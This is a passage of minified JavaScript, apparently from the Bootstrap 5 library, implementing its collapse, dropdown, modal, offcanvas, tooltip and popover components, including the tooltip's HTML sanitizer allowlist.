i.find(e,t).forEach(t=>{const e=a(t);this._addAriaAndCollapsedClass(e,[t])}),t}_addAriaAndCollapsedClass(t,e){if(!t||!e.length)return;const s=t.classList.contains("show");e.forEach(t=>{s?t.classList.remove("collapsed"):t.classList.add("collapsed"),t.setAttribute("aria-expanded",s)})}static collapseInterface(t,e){let s=A.get(t,"bs.collapse");const i={...tt,...K.getDataAttributes(t),..."object"==typeof e&&e?e:{}};if(!s&&i.toggle&&"string"==typeof e&&/show|hide/.test(e)&&(i.toggle=!1),s||(s=new st(t,i)),"string"==typeof e){if(void 0===s[e])throw new TypeError(`No method named "${e}"`);s[e]()}}static jQueryInterface(t){return this.each((function(){st.collapseInterface(this,t)}))}}$.on(document,"click.bs.collapse.data-api",'[data-bs-toggle="collapse"]',(function(t){("A"===t.target.tagName||t.delegateTarget&&"A"===t.delegateTarget.tagName)&&t.preventDefault();const e=K.getDataAttributes(this),s=r(this);i.find(s).forEach(t=>{const s=A.get(t,"bs.collapse");let i;s?(null===s._parent&&"string"==typeof e.parent&&(s._config.parent=e.parent,s._parent=s._getParent()),i="toggle"):i=e,st.collapseInterface(t,i)})})),w(st);const it=new RegExp("ArrowUp|ArrowDown|Escape"),nt=y()?"top-end":"top-start",ot=y()?"top-start":"top-end",rt=y()?"bottom-end":"bottom-start",at=y()?"bottom-start":"bottom-end",lt=y()?"left-start":"right-start",ct=y()?"right-start":"left-start",ht={offset:[0,2],boundary:"clippingParents",reference:"toggle",display:"dynamic",popperConfig:null,autoClose:!0},dt={offset:"(array|string|function)",boundary:"(string|element)",reference:"(string|element|object)",display:"string",popperConfig:"(null|object|function)",autoClose:"(boolean|string)"};class ut extends z{constructor(t,e){super(t),this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}static get Default(){return ht}static get DefaultType(){return dt}static get NAME(){return"dropdown"}toggle(){p(this._element)||(this._element.classList.contains("show")?this.hide():this.show())}show(){if(p(this._element)||this._menu.classList.contains("show"))return;const t=ut.getParentFromElement(this._element),e={relatedTarget:this._element};if(!$.trigger(this._element,"show.bs.dropdown",e).defaultPrevented){if(this._inNavbar)K.setDataAttribute(this._menu,"popper","none");else{if(void 0===s)throw new TypeError("Bootstrap's dropdowns require Popper (https://popper.js.org)");let e=this._element;"parent"===this._config.reference?e=t:h(this._config.reference)?e=d(this._config.reference):"object"==typeof this._config.reference&&(e=this._config.reference);const i=this._getPopperConfig(),n=i.modifiers.find(t=>"applyStyles"===t.name&&!1===t.enabled);this._popper=s.createPopper(e,this._menu,i),n&&K.setDataAttribute(this._menu,"popper","static")}"ontouchstart"in document.documentElement&&!t.closest(".navbar-nav")&&[].concat(...document.body.children).forEach(t=>$.on(t,"mouseover",_)),this._element.focus(),this._element.setAttribute("aria-expanded",!0),this._menu.classList.toggle("show"),this._element.classList.toggle("show"),$.trigger(this._element,"shown.bs.dropdown",e)}}hide(){if(p(this._element)||!this._menu.classList.contains("show"))return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_addEventListeners(){$.on(this._element,"click.bs.dropdown",t=>{t.preventDefault(),this.toggle()})}_completeHide(t){$.trigger(this._element,"hide.bs.dropdown",t).defaultPrevented||("ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>$.off(t,"mouseover",_)),this._popper&&this._popper.destroy(),this._menu.classList.remove("show"),this._element.classList.remove("show"),this._element.setAttribute("aria-expanded","false"),K.removeDataAttribute(this._menu,"popper"),$.trigger(this._element,"hidden.bs.dropdown",t))}_getConfig(t){if(t={...this.constructor.Default,...K.getDataAttributes(this._element),...t},g("dropdown",t,this.constructor.DefaultType),"object"==typeof t.reference&&!h(t.reference)&&"function"!=typeof t.reference.getBoundingClientRect)throw new TypeError("dropdown".toUpperCase()+': Option "reference" provided type "object" without a required "getBoundingClientRect" method.');return t}_getMenuElement(){return i.next(this._element,".dropdown-menu")[0]}_getPlacement(){const t=this._element.parentNode;if(t.classList.contains("dropend"))return lt;if(t.classList.contains("dropstart"))return ct;const e="end"===getComputedStyle(this._menu).getPropertyValue("--bs-position").trim();return t.classList.contains("dropup")?e?ot:nt:e?at:rt}_detectNavbar(){return null!==this._element.closest(".navbar")}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return"static"===this._config.display&&(t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,..."function"==typeof this._config.popperConfig?this._config.popperConfig(t):this._config.popperConfig}}_selectMenuItem(t){const e=i.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter(f);if(!e.length)return;let s=e.indexOf(t.target);"ArrowUp"===t.key&&s>0&&s--,"ArrowDown"===t.key&&s<e.length-1&&s++,s=-1===s?0:s,e[s].focus()}static dropdownInterface(t,e){let s=A.get(t,"bs.dropdown");if(s||(s=new ut(t,"object"==typeof e?e:null)),"string"==typeof e){if(void 0===s[e])throw new TypeError(`No method named "${e}"`);s[e]()}}static jQueryInterface(t){return this.each((function(){ut.dropdownInterface(this,t)}))}static clearMenus(t){if(t&&(2===t.button||"keyup"===t.type&&"Tab"!==t.key))return;const e=i.find('[data-bs-toggle="dropdown"]');for(let s=0,i=e.length;s<i;s++){const i=A.get(e[s],"bs.dropdown");if(!i||!1===i._config.autoClose)continue;if(!i._element.classList.contains("show"))continue;const n={relatedTarget:i._element};if(t){const e=t.composedPath(),s=e.includes(i._menu);if(e.includes(i._element)||"inside"===i._config.autoClose&&!s||"outside"===i._config.autoClose&&s)continue;if(i._menu.contains(t.target)&&("keyup"===t.type&&"Tab"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;"click"===t.type&&(n.clickEvent=t)}i._completeHide(n)}}static getParentFromElement(t){return a(t)||t.parentNode}static dataApiKeydownHandler(t){if(/input|textarea/i.test(t.target.tagName)?"Space"===t.key||"Escape"!==t.key&&("ArrowDown"!==t.key&&"ArrowUp"!==t.key||t.target.closest(".dropdown-menu")):!it.test(t.key))return;const e=this.classList.contains("show");if(!e&&"Escape"===t.key)return;if(t.preventDefault(),t.stopPropagation(),p(this))return;const s=()=>this.matches('[data-bs-toggle="dropdown"]')?this:i.prev(this,'[data-bs-toggle="dropdown"]')[0];if("Escape"===t.key)return s().focus(),void ut.clearMenus();e||"ArrowUp"!==t.key&&"ArrowDown"!==t.key?e&&"Space"!==t.key?ut.getInstance(s())._selectMenuItem(t):ut.clearMenus():s().click()}}$.on(document,"keydown.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',ut.dataApiKeydownHandler),$.on(document,"keydown.bs.dropdown.data-api",".dropdown-menu",ut.dataApiKeydownHandler),$.on(document,"click.bs.dropdown.data-api",ut.clearMenus),$.on(document,"keyup.bs.dropdown.data-api",ut.clearMenus),$.on(document,"click.bs.dropdown.data-api",'[data-bs-toggle="dropdown"]',(function(t){t.preventDefault(),ut.dropdownInterface(this)})),w(ut);const gt=()=>{const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)},ft=(t=gt())=>{pt(),mt("body","paddingRight",e=>e+t),mt(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight",e=>e+t),mt(".sticky-top","marginRight",e=>e-t)},pt=()=>{const t=document.body.style.overflow;t&&K.setDataAttribute(document.body,"overflow",t),document.body.style.overflow="hidden"},mt=(t,e,s)=>{const n=gt();i.find(t).forEach(t=>{if(t!==document.body&&window.innerWidth>t.clientWidth+n)return;const i=t.style[e],o=window.getComputedStyle(t)[e];K.setDataAttribute(t,e,i),t.style[e]=s(Number.parseFloat(o))+"px"})},_t=()=>{bt("body","overflow"),bt("body","paddingRight"),bt(".fixed-top, .fixed-bottom, .is-fixed, .sticky-top","paddingRight"),bt(".sticky-top","marginRight")},bt=(t,e)=>{i.find(t).forEach(t=>{const s=K.getDataAttribute(t,e);void 0===s?t.style.removeProperty(e):(K.removeDataAttribute(t,e),t.style[e]=s)})},vt={isVisible:!0,isAnimated:!1,rootElement:document.body,clickCallback:null},yt={isVisible:"boolean",isAnimated:"boolean",rootElement:"element",clickCallback:"(function|null)"};class wt{constructor(t){this._config=this._getConfig(t),this._isAppended=!1,this._element=null}show(t){this._config.isVisible?(this._append(),this._config.isAnimated&&b(this._getElement()),this._getElement().classList.add("show"),this._emulateAnimation(()=>{E(t)})):E(t)}hide(t){this._config.isVisible?(this._getElement().classList.remove("show"),this._emulateAnimation(()=>{this.dispose(),E(t)})):E(t)}_getElement(){if(!this._element){const t=document.createElement("div");t.className="modal-backdrop",this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_getConfig(t){return(t={...vt,..."object"==typeof t?t:{}}).rootElement=t.rootElement||document.body,g("backdrop",t,yt),t}_append(){this._isAppended||(this._config.rootElement.appendChild(this._getElement()),$.on(this._getElement(),"mousedown.bs.backdrop",()=>{E(this._config.clickCallback)}),this._isAppended=!0)}dispose(){this._isAppended&&($.off(this._element,"mousedown.bs.backdrop"),this._getElement().parentNode.removeChild(this._element),this._isAppended=!1)}_emulateAnimation(t){if(!this._config.isAnimated)return void E(t);const e=l(this._getElement());$.one(this._getElement(),"transitionend",()=>E(t)),u(this._getElement(),e)}}const Et={backdrop:!0,keyboard:!0,focus:!0},Tt={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean"};class At extends z{constructor(t,e){super(t),this._config=this._getConfig(e),this._dialog=i.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._isShown=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1}static get Default(){return Et}static get NAME(){return"modal"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){if(this._isShown||this._isTransitioning)return;this._isAnimated()&&(this._isTransitioning=!0);const e=$.trigger(this._element,"show.bs.modal",{relatedTarget:t});this._isShown||e.defaultPrevented||(this._isShown=!0,ft(),document.body.classList.add("modal-open"),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),$.on(this._element,"click.dismiss.bs.modal",'[data-bs-dismiss="modal"]',t=>this.hide(t)),$.on(this._dialog,"mousedown.dismiss.bs.modal",()=>{$.one(this._element,"mouseup.dismiss.bs.modal",t=>{t.target===this._element&&(this._ignoreBackdropClick=!0)})}),this._showBackdrop(()=>this._showElement(t)))}hide(t){if(t&&t.preventDefault(),!this._isShown||this._isTransitioning)return;if($.trigger(this._element,"hide.bs.modal").defaultPrevented)return;this._isShown=!1;const e=this._isAnimated();e&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),$.off(document,"focusin.bs.modal"),this._element.classList.remove("show"),$.off(this._element,"click.dismiss.bs.modal"),$.off(this._dialog,"mousedown.dismiss.bs.modal"),this._queueCallback(()=>this._hideModal(),this._element,e)}dispose(){[window,this._dialog].forEach(t=>$.off(t,".bs.modal")),this._backdrop.dispose(),super.dispose(),$.off(document,"focusin.bs.modal")}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new wt({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_getConfig(t){return t={...Et,...K.getDataAttributes(this._element),...t},g("modal",t,Tt),t}_showElement(t){const e=this._isAnimated(),s=i.findOne(".modal-body",this._dialog);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.scrollTop=0,s&&(s.scrollTop=0),e&&b(this._element),this._element.classList.add("show"),this._config.focus&&this._enforceFocus(),this._queueCallback(()=>{this._config.focus&&this._element.focus(),this._isTransitioning=!1,$.trigger(this._element,"shown.bs.modal",{relatedTarget:t})},this._dialog,e)}_enforceFocus(){$.off(document,"focusin.bs.modal"),$.on(document,"focusin.bs.modal",t=>{document===t.target||this._element===t.target||this._element.contains(t.target)||this._element.focus()})}_setEscapeEvent(){this._isShown?$.on(this._element,"keydown.dismiss.bs.modal",t=>{this._config.keyboard&&"Escape"===t.key?(t.preventDefault(),this.hide()):this._config.keyboard||"Escape"!==t.key||this._triggerBackdropTransition()}):$.off(this._element,"keydown.dismiss.bs.modal")}_setResizeEvent(){this._isShown?$.on(window,"resize.bs.modal",()=>this._adjustDialog()):$.off(window,"resize.bs.modal")}_hideModal(){this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove("modal-open"),this._resetAdjustments(),_t(),$.trigger(this._element,"hidden.bs.modal")})}_showBackdrop(t){$.on(this._element,"click.dismiss.bs.modal",t=>{this._ignoreBackdropClick?this._ignoreBackdropClick=!1:t.target===t.currentTarget&&(!0===this._config.backdrop?this.hide():"static"===this._config.backdrop&&this._triggerBackdropTransition())}),this._backdrop.show(t)}_isAnimated(){return this._element.classList.contains("fade")}_triggerBackdropTransition(){if($.trigger(this._element,"hidePrevented.bs.modal").defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight;t||(this._element.style.overflowY="hidden"),this._element.classList.add("modal-static");const e=l(this._dialog);$.off(this._element,"transitionend"),$.one(this._element,"transitionend",()=>{this._element.classList.remove("modal-static"),t||($.one(this._element,"transitionend",()=>{this._element.style.overflowY=""}),u(this._element,e))}),u(this._element,e),this._element.focus()}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=gt(),s=e>0;(!s&&t&&!y()||s&&!t&&y())&&(this._element.style.paddingLeft=e+"px"),(s&&!t&&!y()||!s&&t&&y())&&(this._element.style.paddingRight=e+"px")}_resetAdjustments(){this._element.style.paddingLeft="",this._element.style.paddingRight=""}static jQueryInterface(t,e){return this.each((function(){const s=At.getInstance(this)||new At(this,"object"==typeof t?t:{});if("string"==typeof t){if(void 0===s[t])throw new TypeError(`No method named "${t}"`);s[t](e)}}))}}$.on(document,"click.bs.modal.data-api",'[data-bs-toggle="modal"]',(function(t){const e=a(this);["A","AREA"].includes(this.tagName)&&t.preventDefault(),$.one(e,"show.bs.modal",t=>{t.defaultPrevented||$.one(e,"hidden.bs.modal",()=>{f(this)&&this.focus()})}),(At.getInstance(e)||new At(e)).toggle(this)})),w(At);const kt={backdrop:!0,keyboard:!0,scroll:!1},Lt={backdrop:"boolean",keyboard:"boolean",scroll:"boolean"};class Ct extends z{constructor(t,e){super(t),this._config=this._getConfig(e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._addEventListeners()}static get NAME(){return"offcanvas"}static get Default(){return kt}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){this._isShown||$.trigger(this._element,"show.bs.offcanvas",{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._element.style.visibility="visible",this._backdrop.show(),this._config.scroll||(ft(),this._enforceFocusOnElement(this._element)),this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.setAttribute("role","dialog"),this._element.classList.add("show"),this._queueCallback(()=>{$.trigger(this._element,"shown.bs.offcanvas",{relatedTarget:t})},this._element,!0))}hide(){this._isShown&&($.trigger(this._element,"hide.bs.offcanvas").defaultPrevented||($.off(document,"focusin.bs.offcanvas"),this._element.blur(),this._isShown=!1,this._element.classList.remove("show"),this._backdrop.hide(),this._queueCallback(()=>{this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._element.removeAttribute("role"),this._element.style.visibility="hidden",this._config.scroll||_t(),$.trigger(this._element,"hidden.bs.offcanvas")},this._element,!0)))}dispose(){this._backdrop.dispose(),super.dispose(),$.off(document,"focusin.bs.offcanvas")}_getConfig(t){return t={...kt,...K.getDataAttributes(this._element),..."object"==typeof t?t:{}},g("offcanvas",t,Lt),t}_initializeBackDrop(){return new wt({isVisible:this._config.backdrop,isAnimated:!0,rootElement:this._element.parentNode,clickCallback:()=>this.hide()})}_enforceFocusOnElement(t){$.off(document,"focusin.bs.offcanvas"),$.on(document,"focusin.bs.offcanvas",e=>{document===e.target||t===e.target||t.contains(e.target)||t.focus()}),t.focus()}_addEventListeners(){$.on(this._element,"click.dismiss.bs.offcanvas",'[data-bs-dismiss="offcanvas"]',()=>this.hide()),$.on(this._element,"keydown.dismiss.bs.offcanvas",t=>{this._config.keyboard&&"Escape"===t.key&&this.hide()})}static jQueryInterface(t){return this.each((function(){const e=A.get(this,"bs.offcanvas")||new Ct(this,"object"==typeof t?t:{});if("string"==typeof t){if(void 0===e[t]||t.startsWith("_")||"constructor"===t)throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}$.on(document,"click.bs.offcanvas.data-api",'[data-bs-toggle="offcanvas"]',(function(t){const e=a(this);if(["A","AREA"].includes(this.tagName)&&t.preventDefault(),p(this))return;$.one(e,"hidden.bs.offcanvas",()=>{f(this)&&this.focus()});const s=i.findOne(".offcanvas.show");s&&s!==e&&Ct.getInstance(s).hide(),(A.get(e,"bs.offcanvas")||new Ct(e)).toggle(this)})),$.on(window,"load.bs.offcanvas.data-api",()=>{i.find(".offcanvas.show").forEach(t=>(A.get(t,"bs.offcanvas")||new Ct(t)).show())}),w(Ct);const Dt=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]),Nt=/^(?:(?:https?|mailto|ftp|tel|file):|[^#&/:?]*(?:[#/?]|$))/i,St=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i,Ot=(t,e)=>{const s=t.nodeName.toLowerCase();if(e.includes(s))return!Dt.has(s)||Boolean(Nt.test(t.nodeValue)||St.test(t.nodeValue));const i=e.filter(t=>t instanceof RegExp);for(let t=0,e=i.length;t<e;t++)if(i[t].test(s))return!0;return!1};function It(t,e,s){if(!t.length)return t;if(s&&"function"==typeof s)return s(t);const i=(new window.DOMParser).parseFromString(t,"text/html"),n=Object.keys(e),o=[].concat(...i.body.querySelectorAll("*"));for(let t=0,s=o.length;t<s;t++){const s=o[t],i=s.nodeName.toLowerCase();if(!n.includes(i)){s.parentNode.removeChild(s);continue}const r=[].concat(...s.attributes),a=[].concat(e["*"]||[],e[i]||[]);r.forEach(t=>{Ot(t,a)||s.removeAttribute(t.nodeName)})}return i.body.innerHTML}const xt=new RegExp("(^|\\s)bs-tooltip\\S+","g"),jt=new Set(["sanitize","allowList","sanitizeFn"]),Pt={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(array|string|function)",container:"(string|element|boolean)",fallbackPlacements:"array",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",allowList:"object",popperConfig:"(null|object|function)"},Mt={AUTO:"auto",TOP:"top",RIGHT:y()?"left":"right",BOTTOM:"bottom",LEFT:y()?"right":"left"},Ht={animation:!0,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,selector:!1,placement:"top",offset:[0,0],container:!1,fallbackPlacements:["top","right","bottom","left"],boundary:"clippingParents",customClass:"",sanitize:!0,sanitizeFn:null,allowList:{"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},popperConfig:null},Rt={HIDE:"hide.bs.tooltip",HIDDEN:"hidden.bs.tooltip",SHOW:"show.bs.tooltip",SHOWN:"shown.bs.tooltip",INSERTED:"inserted.bs.tooltip",CLICK:"click.bs.tooltip",FOCUSIN:"focusin.bs.tooltip",FOCUSOUT:"focusout.bs.tooltip",MOUSEENTER:"mouseenter.bs.tooltip",MOUSELEAVE:"mouseleave.bs.tooltip"};class Bt extends z{constructor(t,e){if(void 0===s)throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)");super(t),this._isEnabled=!0,this._timeout=0,this._hoverState="",this._activeTrigger={},this._popper=null,this._config=this._getConfig(e),this.tip=null,this._setListeners()}static get Default(){return Ht}static get NAME(){return"tooltip"}static get Event(){return Rt}static get DefaultType(){return Pt}enable(){this._isEnabled=!0}disable(){this._isEnabled=!1}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(t){if(this._isEnabled)if(t){const e=this._initializeOnDelegatedTarget(t);e._activeTrigger.click=!e._activeTrigger.click,e._isWithActiveTrigger()?e._enter(null,e):e._leave(null,e)}else{if(this.getTipElement().classList.contains("show"))return void this._leave(null,this);this._enter(null,this)}}dispose(){clearTimeout(this._timeout),$.off(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this.tip&&this.tip.parentNode&&this.tip.parentNode.removeChild(this.tip),this._popper&&this._popper.destroy(),super.dispose()}show(){if("none"===this._element.style.display)throw new Error("Please use show on visible elements");if(!this.isWithContent()||!this._isEnabled)return;const t=$.trigger(this._element,this.constructor.Event.SHOW),e=m(this._element),i=null===e?this._element.ownerDocument.documentElement.contains(this._element):e.contains(this._element);if(t.defaultPrevented||!i)return;const o=this.getTipElement(),r=n(this.constructor.NAME);o.setAttribute("id",r),this._element.setAttribute("aria-describedby",r),this.setContent(),this._config.animation&&o.classList.add("fade");const a="function"==typeof this._config.placement?this._config.placement.call(this,o,this._element):this._config.placement,l=this._getAttachment(a);this._addAttachmentClass(l);const{container:c}=this._config;A.set(o,this.constructor.DATA_KEY,this),this._element.ownerDocument.documentElement.contains(this.tip)||(c.appendChild(o),$.trigger(this._element,this.constructor.Event.INSERTED)),this._popper?this._popper.update():this._popper=s.createPopper(this._element,o,this._getPopperConfig(l)),o.classList.add("show");const h="function"==typeof this._config.customClass?this._config.customClass():this._config.customClass;h&&o.classList.add(...h.split(" ")),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>{$.on(t,"mouseover",_)});const d=this.tip.classList.contains("fade");this._queueCallback(()=>{const t=this._hoverState;this._hoverState=null,$.trigger(this._element,this.constructor.Event.SHOWN),"out"===t&&this._leave(null,this)},this.tip,d)}hide(){if(!this._popper)return;const t=this.getTipElement();if($.trigger(this._element,this.constructor.Event.HIDE).defaultPrevented)return;t.classList.remove("show"),"ontouchstart"in document.documentElement&&[].concat(...document.body.children).forEach(t=>$.off(t,"mouseover",_)),this._activeTrigger.click=!1,this._activeTrigger.focus=!1,this._activeTrigger.hover=!1;const e=this.tip.classList.contains("fade");this._queueCallback(()=>{this._isWithActiveTrigger()||("show"!==this._hoverState&&t.parentNode&&t.parentNode.removeChild(t),this._cleanTipClass(),this._element.removeAttribute("aria-describedby"),$.trigger(this._element,this.constructor.Event.HIDDEN),this._popper&&(this._popper.destroy(),this._popper=null))},this.tip,e),this._hoverState=""}update(){null!==this._popper&&this._popper.update()}isWithContent(){return Boolean(this.getTitle())}getTipElement(){if(this.tip)return this.tip;const t=document.createElement("div");return t.innerHTML=this._config.template,this.tip=t.children[0],this.tip}setContent(){const t=this.getTipElement();this.setElementContent(i.findOne(".tooltip-inner",t),this.getTitle()),t.classList.remove("fade","show")}setElementContent(t,e){if(null!==t)return h(e)?(e=d(e),void(this._config.html?e.parentNode!==t&&(t.innerHTML="",t.appendChild(e)):t.textContent=e.textContent)):void(this._config.html?(this._config.sanitize&&(e=It(e,this._config.allowList,this._config.sanitizeFn)),t.innerHTML=e):t.textContent=e)}getTitle(){let t=this._element.getAttribute("data-bs-original-title");return t||(t="function"==typeof this._config.title?this._config.title.call(this._element):this._config.title),t}updateAttachment(t){return"right"===t?"end":"left"===t?"start":t}_initializeOnDelegatedTarget(t,e){const s=this.constructor.DATA_KEY;return(e=e||A.get(t.delegateTarget,s))||(e=new this.constructor(t.delegateTarget,this._getDelegateConfig()),A.set(t.delegateTarget,s,e)),e}_getOffset(){const{offset:t}=this._config;return"string"==typeof t?t.split(",").map(t=>Number.parseInt(t,10)):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(t){const e={placement:t,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"onChange",enabled:!0,phase:"afterWrite",fn:t=>this._handlePopperPlacementChange(t)}],onFirstUpdate:t=>{t.options.placement!==t.placement&&this._handlePopperPlacementChange(t)}};return{...e,..."function"==typeof this._config.popperConfig?this._config.popperConfig(e):this._config.popperConfig}}_addAttachmentClass(t){this.getTipElement().classList.add("bs-tooltip-"+this.updateAttachment(t))}_getAttachment(t){return Mt[t.toUpperCase()]}_setListeners(){this._config.trigger.split(" ").forEach(t=>{if("click"===t)$.on(this._element,this.constructor.Event.CLICK,this._config.selector,t=>this.toggle(t));else if("manual"!==t){const e="hover"===t?this.constructor.Event.MOUSEENTER:this.constructor.Event.FOCUSIN,s="hover"===t?this.constructor.Event.MOUSELEAVE:this.constructor.Event.FOCUSOUT;$.on(this._element,e,this._config.selector,t=>this._enter(t)),$.on(this._element,s,this._config.selector,t=>this._leave(t))}}),this._hideModalHandler=()=>{this._element&&this.hide()},$.on(this._element.closest(".modal"),"hide.bs.modal",this._hideModalHandler),this._config.selector?this._config={...this._config,trigger:"manual",selector:""}:this._fixTitle()}_fixTitle(){const t=this._element.getAttribute("title"),e=typeof this._element.getAttribute("data-bs-original-title");(t||"string"!==e)&&(this._element.setAttribute("data-bs-original-title",t||""),!t||this._element.getAttribute("aria-label")||this._element.textContent||this._element.setAttribute("aria-label",t),this._element.setAttribute("title",""))}_enter(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusin"===t.type?"focus":"hover"]=!0),e.getTipElement().classList.contains("show")||"show"===e._hoverState?e._hoverState="show":(clearTimeout(e._timeout),e._hoverState="show",e._config.delay&&e._config.delay.show?e._timeout=setTimeout(()=>{"show"===e._hoverState&&e.show()},e._config.delay.show):e.show())}_leave(t,e){e=this._initializeOnDelegatedTarget(t,e),t&&(e._activeTrigger["focusout"===t.type?"focus":"hover"]=e._element.contains(t.relatedTarget)),e._isWithActiveTrigger()||(clearTimeout(e._timeout),e._hoverState="out",e._config.delay&&e._config.delay.hide?e._timeout=setTimeout(()=>{"out"===e._hoverState&&e.hide()},e._config.delay.hide):e.hide())}_isWithActiveTrigger(){for(const t in this._activeTrigger)if(this._activeTrigger[t])return!0;return!1}_getConfig(t){const e=K.getDataAttributes(this._element);return Object.keys(e).forEach(t=>{jt.has(t)&&delete e[t]}),(t={...this.constructor.Default,...e,..."object"==typeof t&&t?t:{}}).container=!1===t.container?document.body:d(t.container),"number"==typeof t.delay&&(t.delay={show:t.delay,hide:t.delay}),"number"==typeof t.title&&(t.title=t.title.toString()),"number"==typeof t.content&&(t.content=t.content.toString()),g("tooltip",t,this.constructor.DefaultType),t.sanitize&&(t.template=It(t.template,t.allowList,t.sanitizeFn)),t}_getDelegateConfig(){const t={};if(this._config)for(const e in this._config)this.constructor.Default[e]!==this._config[e]&&(t[e]=this._config[e]);return t}_cleanTipClass(){const t=this.getTipElement(),e=t.getAttribute("class").match(xt);null!==e&&e.length>0&&e.map(t=>t.trim()).forEach(e=>t.classList.remove(e))}_handlePopperPlacementChange(t){const{state:e}=t;e&&(this.tip=e.elements.popper,this._cleanTipClass(),this._addAttachmentClass(this._getAttachment(e.placement)))}static jQueryInterface(t){return this.each((function(){let e=A.get(this,"bs.tooltip");const s="object"==typeof t&&t;if((e||!/dispose|hide/.test(t))&&(e||(e=new Bt(this,s)),"string"==typeof t)){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}}w(Bt);const $t=new RegExp("(^|\\s)bs-popover\\S+","g"),zt={...Bt.Default,placement:"right",offset:[0,8],trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="popover-arrow"></div><h3 class="popover-header"></h3><div class="popover-body"></div></div>'},Ut={...Bt.DefaultType,content:"(string|element|function)"},qt={HIDE:"hide.bs.popover",HIDDEN:"hidden.bs.popover",SHOW:"show.bs.popover",SHOWN:"shown.bs.popover",INSERTED:"inserted.bs.popover",CLICK:"click.bs.popover",FOCUSIN:"focusin.bs.popover",FOCUSOUT:"focusout.bs.popover",MOUSEENTER:"mouseenter.bs.popover",MOUSELEAVE:"mouseleave.bs.popover"};class Ft extends Bt{static get Default(){return zt}static get NAME(){return"popover"}static get Event(){return qt}static get DefaultType(){return Ut}isWithContent(){return this.getTitle()||this._getContent()}setContent(){const t=this.getTipElement();this.setElementContent(i.findOne(".popover-header",t),this.getTitle());let e=this._getContent();"function"==typeof e&&(e=e.call(this._element)),this.setElementContent(i.findOne(".popover-body",t),e),t.classList.remove("fade","show")}_addAttachmentClass(t){this.getTipElement().classList.add("bs-popover-"+this.updateAttachment(t))}_getContent(){return this._element.getAttribute("data-bs-content")||this._config.content}_cleanTipClass(){const t=this.getTipElement(),e=t.getAttribute("class").match($t);null!==e&&e.length>0&&e.map(t=>t.trim()).forEach(e=>t.classList.remove(e))}static jQueryInterface(t){return this.each((function(){let e=A.get(this,"bs.popover");const s="object"==typeof t?t:null;if((e||!/dispose|hide/.test(t))&&(e||(e=new Ft(this,s),A.set(this,"bs.popover",e)),"string"==typeof t)){if(void 0===e[t])throw new TypeError(`No method named 